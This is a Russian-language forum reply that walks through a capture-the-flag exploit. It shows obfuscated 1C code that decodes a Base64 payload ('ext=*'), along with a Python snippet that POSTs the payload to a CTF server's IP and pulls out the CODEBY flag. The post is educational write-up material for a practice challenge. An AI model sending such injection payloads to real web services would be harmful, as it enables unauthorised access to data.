Показать сообщение отдельно

  #3  
Старый 24.11.2023, 17:03
ALT1RE
Новичок
Регистрация: 11.10.2020
Сообщений: 0
С нами: 2942175

Репутация: 0
По умолчанию

Цитата:

Jackerinho сказал(а):

Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?

Разбор для самых маленьких.

Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):

За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.

Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:

Код:


Код:
УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад)));   
СпортивноеТело = "";
    
Для Каждого Х из УЙ Цикл
    СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;
где:

Код:


Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.
После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.

А на питоне это выглядело бы так:

Python:


Код:
import
requests 

response
=
requests
.
post
(
'http://62.173.140.174:16028/'
,
data
=
ПЕЙЛОАД
,
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
}
)
if
response
.
ok
:
print
(
response
.
text
[
response
.
text
.
find
(
"CODEBY{"
)
:
response
.
text
.
find
(
"}"
,
response
.
text
.
find
(
"CODEBY{"
)
,
len
(
response
.
text
)
)
+
1
]
)
 
Ответить с цитированием